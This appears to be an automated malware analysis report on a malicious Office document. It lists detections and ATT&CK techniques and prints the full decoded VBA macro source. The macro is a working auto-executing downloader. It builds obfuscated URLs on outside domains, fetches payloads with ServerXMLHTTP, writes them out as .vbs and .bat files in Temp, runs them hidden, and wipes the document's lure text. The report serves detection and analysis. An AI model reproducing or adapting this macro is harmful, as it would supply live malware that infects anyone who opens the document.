MALICIOUS
274
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
The sample is a malicious Office document containing VBA macros. The Auto_Open macro triggers the execution of the Vaflivafli subroutine, which constructs URLs and attempts to download content using the Linolium function. This indicates an attempt to download and execute a second-stage payload, consistent with a downloader malware.
Heuristics 11
-
ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
bydd = Shell(a, 0) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set Nqhdkjahsjdhjkqwhkdqwh = CreateObject(BTYQWFDYFQWTDWQAA) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
Goabc = Environ(sps) -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://www.iec.chIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5213 bytes |
SHA-256: c620f9800d81ff9d4eed16bacec37a260da6d4165652d9d2fd830a8052de64db |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub DHbcbnmasb_Open()
VQNJHWD = "12eh ghj21gehj21 2"
End Sub
Sub hwuNbdqwbdjhqw_Open()
VBHJASD = "2gh1ej1kj12hkje hkg h2 e"
End Sub
Sub Auto_Open()
Chypatypa
End Sub
Sub Chypatypa()
NBVVBNDAS = "hjk1hjkeh12 "
Vaflivafli
End Sub
Sub AutoOpen()
Chypatypa
End Sub
Sub Vaflivafli()
Dim MADRID As String, MOTOROLA As String, KIPARIS As String
Dim TSTS As String, CDDD As String, LNSS As String, STT1 As String, STT2 As String
Dim PBIn As String, CONT As String
Dim Ndjs As Integer
Dim ABTH As String, BBTH As String
Dim klmn As Integer, TTKK As String
Dim GEFORCE1 As String, GEFORCE2 As String
KIPARIS = Chr(1 * 2 + 89 + 1)
MADRID = Samsung(10053)
MOTOROLA = "T" & "emp"
PH2 = Module1.Goabc(MOTOROLA) + KIPARIS
ART = 315
BFT = 316
Ndjs = Sgn(Asc(Module2.Kakarumba(1)) - 433) + 105
ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8) & "://"
TSTS = "." + "tx" + "t"
CDDD = "7777" + TSTS
LNSS = "rara" + TSTS
STT2 = "cdinfla" + "tables.com/com" + "ponents/co" + "m_wra" + "pper/"
STT1 = "monitoringin" + "ternetu.com/c" + "omponents/c" + "om_w" + "rapper/"
PBIn = ATTH + STT1 + CDDD
CONT = Module2.Linolium(PBIn)
If (Right(CONT, 1) <> "=") Then
PBIn = ATTH + STT2 + CDDD
CONT = Module2.Linolium(PBIn)
NFBH = Module2.Linolium(ATTH + STT1 + LNSS)
Else
NFBH = Module2.Linolium(ATTH + STT2 + LNSS)
End If
Module2.Crispy (1)
CPLRP1 = "pioneer"
CPLRP2 = "paytina"
CPLRP3 = "cranberry"
CONT = Replace(CONT, CPLRP1, PH2, 1)
CONT = Replace(CONT, CPLRP2, NFBH, 1)
CONT2 = Replace(CONT, CPLRP3, MADRID, 1)
TTKK = "$"
klmn = CInt(Len(CONT2))
For i = 1 To klmn
If (Mid(CONT2, i, 1) = TTKK) Then
If (Mid(CONT2, i - 1, 1) = TTKK) Then
GEFORCE1 = Mid(CONT2, 1, i - 2)
GEFORCE2 = Mid(CONT2, i + 1, klmn - i)
End If
End If
Next i
ABTH = PH2 + MADRID + ".vbs"
BBTH = PH2 + MADRID + ".bat"
Open ABTH For Output As #ART
Print #ART, GEFORCE1
Close #ART
Module2.Crispy (1)
Open BBTH For Output As #BFT
Print #BFT, GEFORCE2
Close #BFT
Module2.Crispy (1)
QUHDQ = Module2.Puhlo(BBTH)
Module1.Hameleon
End Sub
Sub Workbook_Open()
BHJWDQ = "12eghj12 geh1fghe "
Chypatypa
End Sub
Public Function NHdjhasbdhas(a As Object)
NHdjhasbdhas = (a.responsetext)
End Function
Public Function Samsung(a As Integer)
Randomize
Samsung = CStr(Int((a / 2 * Rnd) + a))
End Function
Public Function Hhqudhqwgyuqwaaa(a As Integer)
Hhqudhqwgyuqwaaa = Sgn(a)
End Function
Attribute VB_Name = "Module1"
Sub Hameleon()
Dim ij As Integer
Dim charCount As Integer
charCount = ActiveDocument.Characters.Count - 1
ij = 0
Do While True
ij = ij + 1
If (ActiveDocument.Characters(ij) = "#") Then
If (ActiveDocument.Characters(ij - 1) = "$") Then
ActiveDocument.Range(Start:=0, End:=ij).Delete
ActiveDocument.Range(Start:=0, End:=charCount - ij - 1).Font.ColorIndex = wdBlack
Exit Do
End If
End If
If (ij = charCount) Then
Exit Do
End If
Loop
End Sub
Public Function Goabc(sps As String)
AAUQWHDQW = "178231789378291e"
Goabc = Environ(sps)
End Function
Attribute VB_Name = "Module2"
Public Function Puhlo(a As String)
Dim bydd As Variant
bydd = Shell(a, 0)
End Function
Public Function Linolium(nbqjbdjqw As String)
Dim dhjqwqkjww As Integer, aaqjwhdq As Integer, Nqhdkjahsjdhjkqwhkdqwh As Object, AHUDWQI As String
Dim ashdUHhda As String, dddc As Integer, AABDBHDDD As String, AsaHuhqdjhasd As String, AAHQJD As String
AsaHuhqdjhasd = nbqjbdjqw
ashdUHhda = AsaHuhqdjhasd
'hujdhgq
dddc = 1 - (Atn(20))
HQDUQ = hhr(Val(81 + dddc))
BHQDHJWQDW = "ML2.ServerXMLH"
BYGDWHQGWHDWQ = BHQDHJWQDW + "TT" + HQDUQ
'nasdhjkqwqd
AABDBHDDD = "E"
NBWHDWDQ = Chr(44 * 1 * 2 + 1 * 4 * dddc)
AABDBHDDD = "G" + AABDBHDDD & NBWHDWDQ
BTYQWFDYFQWTDWQAA = "MSX" + BYGDWHQGWHDWQ
'djqhdkasdkhsj
Set Nqhdkjahsjdhjkqwhkdqwh = CreateObject(BTYQWFDYFQWTDWQAA)
Nqhdkjahsjdhjkqwhkdqwh.Open AABDBHDDD, ashdUHhda
Nqhdkjahsjdhjkqwhkdqwh.Send (AHUDWQI)
AAHQJD = ThisDocument.NHdjhasbdhas(Nqhdkjahsjdhjkqwhkdqwh)
Linolium = AAHQJD
End Function
Sub Crispy(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub
Public Function Kakarumba(n As Integer)
Dim i As Integer
For i = 1 To n Step 1
Randomize
Kakarumba = Kakarumba + Chr(Int(121 * Rnd) + 97)
Next i
End Function
Public Function hhr(sps As Integer)
hhr = Chr(sps)
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.